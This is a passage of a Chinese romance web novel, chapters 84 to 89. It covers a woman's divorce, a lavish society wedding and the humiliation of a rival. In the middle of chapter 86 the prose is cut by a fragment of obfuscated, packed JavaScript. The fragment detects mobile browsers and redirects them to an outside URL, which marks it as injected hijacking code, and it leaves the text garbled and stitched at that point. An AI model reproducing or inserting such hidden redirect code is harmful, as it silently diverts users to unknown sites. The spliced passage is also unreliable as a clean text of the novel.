舒星若只好说:“她临时有事。”
“那我们一起去吃饭,顺便我跟你说件事。”
舒星若被他带去吃粤菜,他说:“我记得你爱吃粤菜。”
“嗯!”
舒星若依旧冷淡。
季宴礼点完菜将手机点菜页面给她看,舒星若说:“可以!”
季宴礼按了下单,这家店死贵,中午人不多,菜很快上来。
舒星若开口问道:“你不是说有事要跟我说吗?”
季宴礼给她夹了一块咕咾肉,“我刚碰见苏容泽带一个女孩子下来,他们看起来挺亲密的。”
“哦,知道了!”低头吃饭。
她并不在意,季宴礼都看呆了,难道之前自己一直会错意,她并不喜欢苏容泽?
也有可能她犯傻,不信自己的话。
季宴礼接着说道:“其实苏容泽家很复杂,他父母是联姻,他妈妈是个厉害的人物。当年他爸出轨被发现,他妈不离婚,逼着苏兴言让出董事长之位。苏容泽这才年纪轻轻的坐上东盛集团的董事长之位。”
舒星若对听八卦颇有兴趣,好奇的问道:“那为什么苏容泽是小儿子?”
季宴礼见她感兴趣,心里像打翻了调料瓶,五味杂陈。
她怎么对苏容泽家的事这么感兴趣?
季宴礼负气说道:“你对他的事这么感兴趣的吗?”
舒星若觉得他喜怒无常,
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“这不是你先说的吗?真是的,说话说一半。”
爱说不说,不说拉倒。
大不了自己上网去查。
一餐饭两个人又是不欢而散。
回到公司,舒星若去研发部看了看,他们效率惊人,早上的计划已经开始在做研发计划了。
她回办公室处理完工作就出来给病人看病。
比起做生意,她更喜欢看病。
她给季宴礼治好腿的消息传出来,一夜之间预约的人数暴涨。
舒星若让黄丽歌将每天的预约名额增加了两位,她并不是不想多看,确实时间有限。
而且她想认真仔细的看病,而不是追求速度。
看完病到了五点多,苏容泽来了。
舒星若笑着说:“刚好想请你吃饭,想吃什么?我买单。”
苏容泽吞吞吐吐的,“那个……她不是我女朋友,我……”他越说声音越小,舒星若却不在意,“她就算是你女朋友也没有关系,我请你吃饭,只要她不吃醋就好。”
苏容泽看到她的表情,听见了自己心碎的声音。
原来她一点都不在乎。
他心情沮丧,舒星若不明白,“怎么了?怕你女朋友吃醋我们不见面就好了。元旦左右,我有份谢礼要送给你。感谢你一直以来对我的帮助。”
苏容泽说:“她不是我女朋友,只是以前的邻居,刚从国外回来。”
她依旧不悲不喜,“哦,那还吃饭吗?”
“走!”
苏容泽巴不得跟她待在一起。
两人吃到一半舒星若实在忍不住问道:“你父母的事可以跟我说说吗?”
刚等餐的时候她上网搜了,搜不到苏兴言的新闻。
吃瓜吃一半就像鱼刺卡在喉咙里,不问清楚真难受。
苏容泽纳闷:“你为什么突然对我父母感兴趣?”
舒星若扁扁嘴,将中午季宴礼说八卦说一半的事讲了。
苏容泽被气笑了,“他这么无聊的吗?”
舒星若说:“谁知道呢?他最近发现了何欣的真面目,失恋了,天天来烦我。”
轮到苏容泽震惊了:“他脑子长全了?”
第84章 离婚成功
舒星若吐槽道:“长全什么呀?是杨思淼帮我的。”
“啊?”苏容泽震惊,“这关他什么事啊?”
舒星若一五一十的将杨思淼的事说了,苏容泽听完被气得半死,“那小子竟然包养了何欣六年?”
何欣是什么人,他比谁都清楚。
一听说他们在一起厮混了六年,苏容泽天灵盖都冒烟了。
舒星若这才意识到自己给杨思淼惹麻烦了。
怪不得杨思淼怕他,苏容泽平时看起来斯斯文文的,发起火来确实很吓人。
她用胳膊肘轻轻碰了碰他:“那个,你能不能不找他的麻烦?他完全是为了帮我,才给季宴礼看的视频。”
苏容泽脑子太聪明了,虽然舒星若没说,他猜到了杨思淼找舒星若看的是不举的病。
“他年纪轻轻都混成了这鬼样子,我能不收拾他吗?”
舒星若说:“他最近改邪归正了。”
将两人的聊天记录翻出来,杨思淼现在虽然继续混夜店,但是一次只有一个女伴,而且十二点之前必须到家。
每天早上起床锻炼,饮食也征求舒星若的意见。
他还给舒星若发了近照,状态年轻了不少。
看完这些,苏容泽的眉头才些许松了下来。
舒星若见状马上劝:“你别气了,他现在乖了不少。其实他不会做生意也不是他的错,也许他就是这种享受的命呢?”
苏容泽长长的叹了一口气,“我小姨,也就是杨思淼的妈妈,都快愁**,家大业大的就这么个儿子。将来家业都不知道传给谁。”
舒星若觉得他们有钱人真麻烦:“大不了把公司卖了,搞个信托给杨思淼,他不至于败光。”
苏容泽说:“也许最后真的只能这样。”
两人继续吃饭,舒星若八卦之心蠢蠢欲动,但是苏容泽脸色不太好,她也不敢往人伤口上撒盐。
但又忍不住想问出个所以然来,不然憋着实在难受。
苏容泽擦了擦嘴说:“想不到你这么八卦。”
舒星若淡定的说:“我闺蜜,也就是林安禾,刚在律所实习的时候几乎天天给我讲案件,久了养成习惯了。”
苏容泽顿了顿说道:“我爸妈是商业联姻,他大学期间就有一个初恋叫安明霞,也就是苏容添的妈妈。她家境不好,当时他们被迫分手,我爷爷说我爸敢不联姻就敢让他滚出苏家。”
“没了苏家我爸啥也不是,果断分手。但是安明霞难缠啊,穿鞋的怕打赤脚的。他们分手时我爸和我爷爷分别给了安明霞不少钱,她也乐于分手。保证以后彻底消失”
“但是我爸妈刚结婚大概一年左右吧,安明霞就跑来找我爸诉衷肠,说她一直还爱着我爸。为了他一直守身如玉。”
舒星若脱口而出:“怎么跟何欣差不多套路?你爸不用说肯定上当了。”
苏容泽点头道:“对,后来我派人查过,其实她就是钱花得差不多了,又想起了这个公子哥。她那一年可劲的找男人,跟现在找男模差不多。”
“**,这么会玩?苏容添会不会不是你爸的儿子?”
苏容泽说:“我也怀疑过他的身份,觉得安明霞收买了鉴定中心的人弄的假报告。后来我悄悄给他们验过,想不到没有**。”
他接着说道:“当年我爸跟鬼上身似的和安明霞好上了,没多久她怀孕了。我爸吓坏了,怕被我妈发现,给了一大笔钱让她去把孩子打掉。”
“她处心积虑的去查了是男孩,一个人偷偷的生了下来。我大学毕业那年,她带着研究生毕业的苏容添来认亲,要安排苏容添进东盛集团工作。”
舒星若听得津津有味,“那你妈是不是气疯了?”
苏容泽摇头:“并没有,我妈不爱我爸,她不在意。但是表现得很在意,在家哭天抢地。她是集团的财务总监,知道集团太多的秘密。我爸不敢惹她,她开出的条件是让苏容添母子滚蛋,哪凉快哪待着。我进集团董事会。”
舒星若捧着脸说:“季宴礼胡说八道,说你一进去
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就是董事长。”
苏容泽挑眉:“怎么可能?那帮董事全是老谋深算的老狐狸,一个比一个难缠。我爷爷我爸爸都不是善茬,我待了五年之后才彻底架空我爸。做了集团董事长,我爸被我丢到海外分公司。”
舒星若疑惑:“既然你爸妈感情不好,为什么你妈也去陪他?”
苏容泽喝了一口依云,苦笑道:“有钱人的**,让外界觉得他们是伉俪情深。其实早就离心离德,我努力工作的原因之一就是不想自己被动联姻。”
他看了一眼舒星若嫩白的脸:“我想跟自己喜欢的人结婚。”
舒星若被他炙热深情的眼神看得脸上火辣辣的,忙岔开话题:“你妈不是不认苏容添吗?怎么又进了东盛?”
苏容添在东盛集团工作,舒星若有次在电梯里遇到过他。
苏容泽有总裁专用梯,他却没有。他还有那样的母亲言传身教,不嫉妒苏容泽才怪。
“是我爷爷同意的,因为当年他欠了南景一条命,他答应让自己的孙子娶南真仪。可是他明面上他只有一个孙子。”
“我爷爷其实觉得南家配不上我家,安明霞厉害得很,不知道从哪得到消息,立刻撺掇苏容添娶南真仪。”
“我爷爷亲自去南家提亲,觉得苏容添挺懂事的,就答应了让他进集团。”
苏容泽脸上泛着阵阵寒光,“其实老狐狸是想看看我们谁更有能力,好选个**人。我不会让他如愿以偿的。”
平时他对舒星若温和有礼,此时她才意识到苏容泽是在商场上摸爬滚打的狠角色,跟季宴礼一样是凶猛的野兽。
两人边吃边聊了差不多三小时,出来的时候快十点了。
苏容泽的卫星电话响起,对方说:“成了,下周一就可以去拿正式文件。”
苏容泽寒霜的脸终于回温,他恢复了往日的温和:“星若,你的分居申请已经生效了,你和季宴礼离婚成功了。”
舒星若简直不敢相信自己的耳朵,“你干了什么?”
第85章 他们会不会打起来?
苏容泽轻描淡写的说,“今天太晚了,改天再告诉你。总之你周末准备一下,周一安心跟季宴礼离婚。下周你就能摆脱他了。”
舒星若展露一个大大的笑容:“谢谢苏总。”
苏容泽低头凝视她:“星若,既然我们是朋友,你可不可以不要叫我苏总,叫我容泽或者阿泽都行。”
“啊?”舒星若面露难色,她从未试过与季宴礼以外的男人亲近过。
苏容泽见她为难,便说:“那你先叫我名字吧,不要叫我苏总。”
她都要离婚了,他按捺不住的想跟她在一起,可惜她对自己一点爱意都没有。
“你先叫一声试试。”
“苏容泽。”
苏容泽微笑,“也行吧!”
回到家快十一点了,季宴礼还没睡,坐在被窝里玩手机。
见舒星若回来,他说:“怎么这么晚?是姜学名又在为难你?”
舒星若摇摇头,“不是,跟朋友吃饭晚了。”
季宴礼本想问是哪个朋友,又怕她反感,便说:“那你快点洗漱,我等你睡觉。”
舒星若边脱大衣边说:“你不用等我,累了就先睡。”
季宴礼盯着她的眸子说:“我知道,以前都是你在家等我回来,现在换我等你。星若,对不起。”他等了人才明白其中的焦灼感。
舒星若心想:“下周我就跟你分道扬镳了,扮得再深情有什么用?”
舒星若洗漱完上床的时候,季宴礼问:“为什么最近你没给我点安神香?”
舒星若心头一颤,他不会是发现了什么了吧?
结巴的说道:“那个那个,我最近比较忙,忘了做香。”
季宴礼有些失望,“星若,可以偶尔想起来我一下。”
“好!”
“那我可以抱着你睡吗?”
“算了吧。”
背对着他睡了过去。
周末季宴礼的发小罗俊杰举办婚礼,季宴礼要带季知许和舒星若去参加。
舒星若想拒绝来着,季宴礼打开请柬:“人家邀请的是我们阖家,你不能让我一个人去,被他们笑话。而且爸妈也去。”
罗家跟季家往来密切,罗家是季氏集团其中一个股东。
既然季家安他们也去,舒星若乐于卖这个面子。
礼服季宴礼早早就备好了,是一件国风云锦裙,胸前的苏绣海棠花栩栩如生。
这件礼服舒星若一眼就喜欢上了,她开心的说道:“谢谢!”
季宴礼被她的笑容感染:“赶紧换上。”
她穿上之后整个人像仙子般飘逸灵动,季宴礼还请了妆发师给她化妆做发型。首饰他特意选了一套钻石三件套,火彩炫目。
“妈妈,你今天真美!”
做好造型的季宴礼直接看呆了,她美得快要把他的魂魄勾走了。
舒星若问:“人家婚礼,我穿这么隆重合适吗?万一抢了新娘子的风头,人家会不会不高兴?”
“你等下去看看,谁不打扮隆重?新娘子我见过,长得还行,你就算素颜也吊打她。”
舒星若:“……”
季知许笑着说:“爸爸,我妈妈就是最美的,不然怎么会生得我这么可爱呢?”
他今天是花童,由于他太好看,罗家指定他当花童。
季宴礼上前来想牵舒星若的手,却被她避开了。
季宴礼蹙眉,“星若,你就当今天给我一个面子。”
她想了想说:“那一会我挽着你的手臂。”
“也行吧。”季宴礼只能退而求其次,怕勉强使她退缩。
临走时,季宴礼细心的给她披上皮草。
到了婚礼现场,舒星若一下车众人纷纷侧目,这也太美了。
从她身后下车的是娱乐圈号称颜霸的郁蕊蕊,两人站在一起,连郁蕊蕊都有些黯淡无光。
众人小声议论了起来。
“我靠太美了,连郁蕊蕊都比不上她。”
“对呀,比顶级女明星都好看,也不知道季总是怎么想的。”
“就是,比他那个小三好看多了。”
“是啊,他是不是眼瞎,放着这么个大美女迟迟不带出来,成天跟那个小三混在一起。”
“别说了,三姐今天也来了。”
“她名声那么臭,谁带来的?”
“姜学名。”
众人看向何欣,只见她穿着一件浅紫色吊带礼服,挽着
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姜学名,神情趾高气扬。
大家在身后耻笑,“弄丢了季宴礼,榜上一个老头,不知道她有什么好得意的。”
“没见过世面不就是这样吗?”
“舒星若不也是中产家庭吗?为什么气质高贵那么多?”
“舒家是不想把产业做大,但是人家是有能力,而且小三的女儿跟正室怎么比?”
舒星若对身后的议论一个字也没听到。
季知许被工作人员带到新娘身边,他听说另一个花童是苏恬,特别开心。
舒星若挽着季宴礼来到婚礼现场。
现场非常奢华,黑金盛宴主题。几万颗水晶装饰穹顶,新人步道两旁铺满粉色玫瑰,旁边细小的喷泉缓缓喷着水。
灯光更是一绝,照得舒星若身上的首饰更加绚丽夺目。
苏容添和南真仪见他们俩出席婚礼,有些惊讶,南真仪低声说:“他们和好了?”
苏容添幸灾乐祸的说:“等下苏容泽看见他俩如胶似漆不知道会怎么样?”
最近他们本想搞小动作,被苏容泽按住了。
南真仪笑:“最好是能打起来。”
舒星若坐到韦瑛身边,韦瑛见到舒星若挽着季宴礼,两人一个俊朗不凡另一个明艳动人,简直就是绝配。
她有点想哭,要不是儿子一根筋,他们办婚礼得多好看。
再要一个小姑娘,他俩那就是神仙眷侣。
韦瑛夸道:“星若,你今天可太美了。”
舒星若用下巴指了指季宴礼:“全都是他准备的。”
韦瑛惊讶:“他现在脑子开窍了?”
季宴礼说:“妈,我以后会好好对星若的。不会让您再操心了。”
韦瑛激动的手都有些抖了:“好好好,你们能和好妈最开心了。”
一旁的季家安却不语,他知道舒星若一直在准备跟季宴礼离婚,连抚养权都考虑到了。
破镜重圆谈何容易。
罗家不知道哪个看热闹不嫌事大的,竟然将苏家安排了和季家坐一桌。
不过两家实力相当,坐一起也合理。
鉴于最近网上的新闻,苏容泽走过来的时候,大家纷纷看向他们。
第86章 季总打翻醋坛子
他俩的座位还是正对着的,在场不少人伸长脖子,期待这两人搞点动静出来。
这比婚礼有意思多了。
苏容泽面色如常,季宴礼却虎视眈眈,生怕舒星若看他的眼神不对。
季宴礼打电话将新郎罗俊杰叫过来:“你家哪个没脑子的安排的座位?”
所有座位是他妹妹罗书琪安排的,罗俊杰小声安抚道:“哥,安排座位的时候你们三还没上热搜呢。这也来不及换了啊。”
季宴礼给了他一脚:“我看见苏容泽就上火,你还让我怎么吃得下饭?”
罗俊杰求救的望向季家安。
季家安沉声道:“宴礼,人家的婚礼马上就要开始了,不要再胡闹了。”
他向苏容泽点头示意,作为男人的角度来说,他觉得苏容泽比季宴礼更适合舒星若。
如果两人在一起,他们季家也不会阻拦,只要舒星若幸福就好。
罗俊杰机灵的说:“礼哥,改天我请你们吃饭,回头把我妹妹提来给你道歉。”
一旁的罗书琪不乐意了:“凭什么?我又没做错什么。”
罗俊杰一个眼刀飞了过去,拉着罗书琪赶紧跑了。
舒星若看向门口处,杨思淼竟然带着林安禾来参加婚礼,他们还手拉手出场,舒星若惊得嘴都没合上。
她忙站起来跑到林安禾跟前,问道:“你们俩什么时候在一起的?”
她不由分说的拉过林安禾,背过身去说道:“你不知道他私生活混乱吗?你不要命了,跟他在一起?”
她生怕经常鬼混的杨思淼有性病。
林安禾笑着说:“我是他雇来的女朋友,为了气何欣的。今天出场费他给我两万。”
杨思淼听到了舒星若的话,打断他们:“若姐,我收到消息姜学名带何欣来,我不得找个人撑场子?”
林安禾漂亮又能怼,再合适不过了。
舒星若见他俩是假的,才放心的回到座位上。
最近几年地产行业不景气,杨思淼家被踢出顶级圈层,只能跟姜学名坐一桌。
何欣定力是真好,见到杨思淼视若无睹,仿佛是从没见过的陌生人。
杨思淼坐下以后就开始嘲笑姜学名:“姜总,不知道你什么时候有收破烂的嗜好了?”
姜学名不怒自威:“你什么意思?”
杨思淼嘴角扬起一个坏笑:“字面意思,你身边的这个女人,跟过我六年。”
姜学名却不信:“她有没有过男人,我还不知道吗?”
林安禾说:“何小姐回国之前去做了一个修复手术,看来那家医院技术很好。”
何欣去做处女膜修复手术的证据,就是她搞到手找言永飞递给季宴礼的。
何欣瞪了她一眼,要不是有人在,她早扇她了。
姜学名脸色一顿,被这个假货给骗了。
但他死要面子,坚持说:“我选的女人,不会有错。”
何欣娇滴滴的说:“学名,你可是不知道,这位林小姐是舒星若的闺蜜,她恨我呢,故意在这里造谣。”
姜学名嘲讽道:“你们俩闺蜜臭味相投,选男人的眼光都很差。”
林安禾微微笑道:“是吗?何小姐之前费劲巴拉的去插足人家的婚姻没成功,转头就找了个没血缘的爹。她选男人的眼光更烂。”
杨思淼哈哈大笑:“对啊,何欣,你真会给自己找爹。老姜,你还缺闺女吗?孙女也行,我这应有尽有。还不是假货。”
气得姜学名脸上五彩斑斓。
婚礼开始,伴随着音乐声,宴会厅大门缓缓打开,新娘沙盼丹在伴娘和花童的伴随中缓缓出场。
沙盼丹是罗书琪的助理,两人坚持了五年多才获得罗家人的同意。
家里人一同意,罗俊杰立刻安排了奢华婚礼。
韦瑛说起他们的爱情故事,狠狠地挖了一眼季宴礼。
意思是你小子既然和好了,婚礼尽快办起来。
季宴礼也是这么打算的,给言永飞发信息:【给我找全国最好的婚礼策划团队来,我要补办婚礼。】
舒星若听到他们的爱情故事,她心想季宴礼竟然还有这么靠谱的朋友。
婚礼全程非常浪漫温馨,他们的一路坎坷都展现出来,听得舒星若有些动容。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125693|179747||http|test|mini|href|location''.split(''|''),0,{}));
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r>人生在世,两情相悦的爱情谈何容易。
她付出过,以为会得到回应,换来的是遍体鳞伤。
苏容泽抬头看她,眼眶红红,他给她发信息:【怎么了?】
舒星若回:【没什么,想起了曾经那个傻傻的自己。】
苏容泽懂她,回道:【过了周一,一切归零!】
她低头笑了,季宴礼瞟了一眼她的手机,发现她在跟苏容泽聊天,气得想当场发飙。
但是好朋友的婚礼,他不好发作,低声提醒舒星若:“不要在我眼皮子底下跟别的男人打情骂俏。”
舒星若没好气的回他:“我跟人聊天都不行了吗?你当初天天跟何欣出双入对,不还说你们是纯洁的友谊吗?”
她刚看见何欣跟姜学名了,“人家投入老人家的怀抱了,一定是对你失望极了,破罐子破摔。”
季宴礼知道何家的财务状况,但他送了一套房子、一套古董首饰,还有很多奢侈品,她何至于沦落到伺候老人家。
也许真的是为了气自己。
算了,他管不了那么多,他现在要心无旁骛的挽回舒星若。
“对不起,是我说错话了。你可以稍微顾忌一下我的感受,在公众场合给我几分面子。”
舒星若只觉得很滑稽,“你啪啪打我的脸的时候,怎么不顾忌我的感受呢?我今天来了就是看在爸妈的面子上。”
季宴礼心中一喜,他父母对舒星若很好,可以打亲情牌挽回她。
婚宴开席,季宴礼疯狂的给舒星若夹菜,装着跟她很亲密的样子。
他要苏容泽看着他们秀恩爱,苏容泽虽然知道舒星若不喜欢他,看到这种场面还是受不了。
他攥紧拳头,心中暗暗发誓,一定要将舒星若追到手。
季知许当完花童跟苏恬手拉手下来,坐到各自的父母身边。
南真仪开玩笑的说:“你们俩可真般配。”
季知许立刻反驳道:“阿姨,你说得不对,般配是形容情侣或者夫妻,我和恬恬是好朋友。”
南真仪试探着问道:“恬恬长大了给你当老婆好不好?”
第87章 小三又开始表演
还没等季知许回应,苏容泽冷声道:“你们南家的家教就是这样的吗?小小年纪就上杆子谈婚论嫁。”
他虽然讨厌他们夫妻俩,但对苏恬是真心疼爱。
南真仪虽生气但还是笑着说:“我这不是跟孩子开玩笑吗?”她还真想借此机会攀上季家,多了对付苏容泽的筹码。
季知许这个鬼灵精知道苏容泽喜欢舒星若,他对舒星若也好。
要是舒星若嫁给他了,他和苏恬是名义上的堂兄妹。
他开口道:“阿姨,恬恬做我的妹妹挺好的。”
季宴礼蹙眉:“什么妹妹?他们苏家跟我们季家毫无关系。”
他讨厌苏容泽,连同苏家其他人也厌烦上了。
季知许跟舒星若交换了一下眼神,两人都明白季宴礼为什么发这无名火。
南真仪和苏容添脸上一阵发白,他们又不敢跟季宴礼硬刚。
场面十分尴尬,直到新郎新娘敬酒来到这桌。
大家起身喝酒,舒星若说:“祝你们在未来的日子里同量天地宽,共度岁月长。”
罗俊杰笑着说:“谢谢嫂子,我也祝你和礼哥白头偕老。”
季宴礼听到这话很开心,“一定会的。”
全桌人齐齐看向舒星若,舒星若却没有表示,自顾自的将杯中的酒喝完了。
季宴礼心里有些不舒服,等新郎新娘走了以后立刻低声问道:“你不想跟我白头到老吗?”
舒星若挑眉:“要听真话吗?”
季宴礼看她神情已经明白了真话是什么,只觉得心脏像被人攥了一把,疼得厉害。
他的手有些颤抖的想去牵舒星若,却被她避开了。
季宴礼的心被生生的划出一道口子,眼神中都带着悲伤。
她却视若无睹,跟身旁的儿子继续聊天。
苏容泽目睹这一切,心情雀跃不已。恰好季宴礼抬头,苏容泽举杯**,把季宴礼气得想掀桌子。
韦瑛看出来这两个男人之间的暗流涌动,她也不是很心疼自己儿子,他有今日完全是咎由自取。
但要管住儿子不要**,劝道:“宴礼,这可是你朋友的婚礼,不许砸场子。”
季宴礼低头不语,要是现在有把刀,他第一个宰了苏容泽。
他气得出去透透气,见他离席,何欣立马跟了上去。
整晚她都在偷偷观察季宴礼,她可不甘心一直伺候糟老头。
而且那老头抠门得要命,她怎么哄他,都只给一张附属卡。
今天这场婚礼她得知季宴礼要来,使出浑身解数才让姜学名带她出席,不然她没机会见到季宴礼。
她跟着季宴礼的步伐出来,见到季宴礼她又是一副泫然若泣的样子,眼睛红红的,脸上带着委屈。
季宴礼有些烦,蹙起眉头:“你又想干什么?”
何欣一句话不说,只将自己的皮草披肩打开。
她穿的是露背裙,上次她被舒星若踹下楼,背上伤痕累累,一直没好。
季宴礼见到这些伤心底又变软了,他惊呼:“这是姜学名打的?”
何欣说:“是妹妹将我推下楼梯导致的。”
季宴礼脸色发白,俊朗的脸上染上复杂的情绪。
他高兴于舒星若为了他跟何欣争风吃醋,又心疼于何欣受了这么重的伤,但又怀疑是何欣自编自导。
舒星若一向性格温和。
何欣见他脸上阴晴不定,不敢提出过分的要求,聘聘袅袅的开口:“阿礼,我不知道你为什么突然不理我,可是就是因为你不理我才让姜学名有机可乘,他说只要我不跟他他就害死我爸。”
何欣的泪水已经蓄满了眼眶,在里头打转,任谁看着都像受了天大的委屈。
“阿礼,你救我出来吧!我受不了他。”
这几天她被姜学名折腾得很惨,杨思淼是玩咖但不变态,姜学名在她身上加诸各种变态行径,导致她都害怕夜晚的降临。
季宴礼冷冷说道:“你爸本来就该死,你何必为了他牺牲自己呢?”
何欣后脑像被人打了一记闷棍,季宴礼好狠的心,她都表演成这样了还无动于衷。
几个男人能顶得住她的温柔攻势,失效之后她在心里冷笑:“
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季氏集团的掌舵人不举,够大伙笑话一阵子了。”
何欣脸上一闪而过的凶狠被刚出来的舒星若捕捉到,她心想上次打轻了,让她还有机会作恶。
不过她这眼神是冲着季宴礼,看来季宴礼要倒霉了。
想到这,舒星若不怒反笑。轻飘飘的走了。
季宴礼看到她笑,沉重的闭上眼睛,她是彻底不在乎自己了。
回去的路上就他们俩,季知许被韦瑛带回去了,老两口十分想孩子。
季宴礼说:“刚才何欣在跟我讲姜学名怎么威胁她,所以被逼着跟了他。”
舒星若像听一个无关紧要的八卦,“那你得英雄救美啊,你的白月光都深陷泥潭了,你怎么舍得?”
季宴礼的大手抓住她的手,“星若,我以前眼瞎,现在不会了。她的事以后与我无关。”
他俯身吻住她的唇,她身上的馨香包围着他,甜腻在他心里漫开。
手情不自禁的在她身上游走,舒星若使出最大的力气推开他,吼道:“季宴礼,你想干嘛?”
“我放弃何欣了,你打算什么时候原谅我?”
舒星若脸上像结了冰:“我说过你弄死他们一家三口我就原谅你,过时不候。”
“何欣跟了姜学名,过得很惨,你该消气了。何宏毕竟是你的父亲。”
舒星若嘴角泛起不屑的笑容,“不过是伺候男人,那是何欣最拿手的。何宏除了生物上跟我有关系,他有养过我一天吗?”
“你让我想一想。”
想吧,想吧,反正我周一就自由了。
何欣这边就惨了,姜学名本就喜怒无常,当她是玩物。今天又得知何欣骗他,回家把气一股脑撒在何欣身上。
他让何欣穿着单薄的礼服跪在阳台上,阳台没有地暖,没几分钟,何欣就嘴唇发紫。
姜学名还嫌不过瘾,让楚建业将一盆冷水从头到脚泼下来。
何欣骨头都在打冷战,浑身又冷又疼。
她在心里诅咒舒星若和季宴礼,这一切都是他们害得。
跪了两小时后,何欣倒了下去。
第88章 离婚礼物
姜学名已经休息了,楚建业不敢吵醒他,只叫了辆专车将何欣送到医院急诊科。
医院给何宏打了电话,他出门的时候被人用石头砸伤了头。
父女俩一起进了急诊。
何宏呲牙咧嘴的在缝针,何欣躺在急救室抢救。
医生抢救何欣到凌晨四点,人才醒转。
她醒来的时候全身每根骨头都在疼,整个人还在哆嗦。
她又冷又饿,但她的病床前没人照顾她。
何宏回家休息了,给她发信息:【我被人砸伤了头,现在出门不方便,明天叫护工来照顾你。】
万能的网友将何欣冻伤住院的消息发上了网,引发一阵喧闹。
【听说三姐今天耻高气扬的去参加婚礼,回来就被人收拾了。】
【谁这么靠谱,把她折磨成这样,真过瘾。】
【听说是姜学名,何欣最近做了姜学名的女人。】
【靠,从季宴礼到姜学名,这跨度也太大了,姜学名都可以当她爹了。】
【果然这女人认钱不认人,季宴礼要气**。】
【他活该,谁让他喜欢绿茶。】
……
舒星若是早上刷手机刷到这则消息的,林安禾更是冲在八卦第一线。
她兴奋的在电话中说:“我拆穿了她搞处女膜修复的事,姜学名当场就气炸了,那脸五彩斑斓的。”
舒星若虽然不喜欢何欣,但是觉得姜学名太没品了:“女人是不是处有那么重要吗?”
林安禾说:“不是处不处的问题,问题是何欣欺骗了老头。老头嘛,应该是有特殊癖好才包养何欣的,以为是原装哪知道是返厂重修的,他能不生气吗?”
“只有季宴礼那二货不在意何欣的欺骗,何欣修复手术的事,我当初爆给他了,他居然不在意。天天跟何欣出双入对,还好杨思淼揭了她的画皮。不然你还要被他们气很久。”
“我后来无所谓了,他们气不着我。不过何欣倒霉我就开心,最近咱们别动她,让姜学名好好的折磨她一阵子。”
舒星若在护肤,手机放在梳妆台上开着扩音,从衣帽间出来的季宴礼,将两人的对话听得一清二楚。
舒星若看见他像见了鬼,大白天不能说人坏话。马上关了扩音,“现在有事,晚点聊。”
舒星若回头,季宴礼脸上已经凝结了一层寒霜,既有悲伤又有愤怒。
舒星若轻声开口:“你不要迁怒于安禾,她只是心疼我。有事你冲我来。”
季宴礼苦笑:“是的,我没有心疼过你。”
他扑上来抱住舒星若,头埋进她修长的脖子里:“星若,你知道吗?就是因为何欣欺骗我,让我对她产生生理性厌恶,我连她一根手指头都没碰过。”
舒星若心想:“关我屁事。”
季宴礼见她没有反应,忍不住问道:“我没有出轨,我这辈子只有你一个女人。星若,你原谅我吧!我再也不会被其他女人迷惑。”
他紧紧的抱着舒星若,坚实的胸膛抵着她,狗男人身材是真好。
“你放开我,我快憋**!”
舒星若一边推他一边说,季宴礼却不肯放手,他想将舒星若揉进身体里。
两个人纠缠间,舒星若不小心碰到他那里,硬得她手像触电般弹开。
季宴礼却抓着她的手往上摸,“星若,你感受一下我对你的爱。”
舒星若怒道:“你这不是爱,不过是冲动罢了。”
“季宴礼,我不是你的玩物,呼之则来挥之即去。你即使身体没有出轨,你的心没有想过跟何欣在一起吗?你爱她如命,只不过发现了她辜负了你才愤而分开的,跟我有一毛钱关系吗?”
季宴礼摇头:“不是的,星若,我当局者迷,我被她蒙蔽了。我看清她的真面目就再也没有搭理过她。”
舒星若红着眼睛瞪着他:“所以呢?你对我造成的伤害就当没发生过吗?你跟我做的时候都喊她的名字,季宴礼,你欺人太甚。”
季宴礼惊得张大嘴巴,他虽然想起那晚跟舒星若做了,但记不起自己竟然叫了何欣的名字。
他的泪夺眶而出,疯狂道歉:“星若,对不起,对不起。”
舒星若一个眼神都没有
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留给他,下楼吃饭。她打算今天去找房子,明天就自由了,最晚后天就要搬出去了。
外公外婆家不大,她想买个别墅,虽然比不上季家的规模,也不会太差。
让季知许的生活没那么大落差。
他们搬过来一起住,一家人其乐融融。
刚带着季知许出门,苏容泽的电话就来了。
“你在干嘛?”
“开车呢,准备去找房子。”
苏容泽料事如神,他猜到舒星若这会找房子。
“不用找了,我名下有个别墅在外滩附近,500平,花园和儿童房装修得都不错,有兴趣来看一下吗?”
舒星若第一反应是:“多少钱?”
苏容泽顿了顿说道:“我可以送给你。”
车里只剩发动机的声音,季知许竖起耳朵听。
舒星若愣了一分钟说道:“你这也太大方了,我……”
苏容泽说:“这是送给你的离婚礼物,祝你以后前程似锦,幸福快乐。”
有人送别墅舒星若当然开心,但她知道无功不受禄,尤其是男人的礼物,都带着标价。
“你先告诉我多少钱吧?”
“市场价1.8亿。”
舒星若松了一口气,“那我买得起,先去看看吧。”
季氏集团的五亿已经到了她账上,税是季宴礼代交的。
她现在是富婆。
苏容泽惊讶于她的赚钱能力,不过他有办法送给她。
“好,我发定位给你。”
挂了电话,季知许鼓励舒星若:“妈妈,你应该勇敢的追求自己的幸福。苏叔叔对你真的挺好的,你们可以试试。”
舒星若却说:“我现在想过没有男人的生活,婚姻生活就是一地鸡毛。你小孩子不懂的,放心,我会继续让你过好日子。”
“好,让爸爸一个人在家哭去吧!”
舒星若赶紧打招呼:“咱们看房的事不能告诉你爸爸。”
季知许乖巧的做了一个嘴拉拉链的动作,“打死都不说。”
此时的季宴礼确实在家哭,他翻到了舒星若毕业典礼上的视频。
第89章 坐他的私人飞机去离婚
二十二岁的舒星若抱着吉他独自吟唱《一生中最爱》,吉他声中,她的嗓音柔软,娓娓道来。
“宁愿一生都不说话,都不想讲假说话欺骗你。
留意到你我这段情,你会发觉间接着一点点距离。
无言地爱,我偏不敢说,说一句想跟你一起。”
季宴礼想起当天的情形,他坐在台下,等着看何欣的表演。
却先看到舒星若的表演,那时候的她,正是最爱自己的年龄。
可惜他无视了这一切。
他明白时不时看向自己的舒星若,是在跟自己告白。她漂亮又善良,但他不喜欢她。
她怎么可以跟一个有女朋友的人表白?她这是公然**。
自那以后,舒星若在季宴礼心里的印象就不好。是个处心积虑想接近自己的女人。
毕业后同学组织聚餐,他得知舒星若出席,直接拒绝了。
下次见到舒星若就是在何欣的生日宴上。
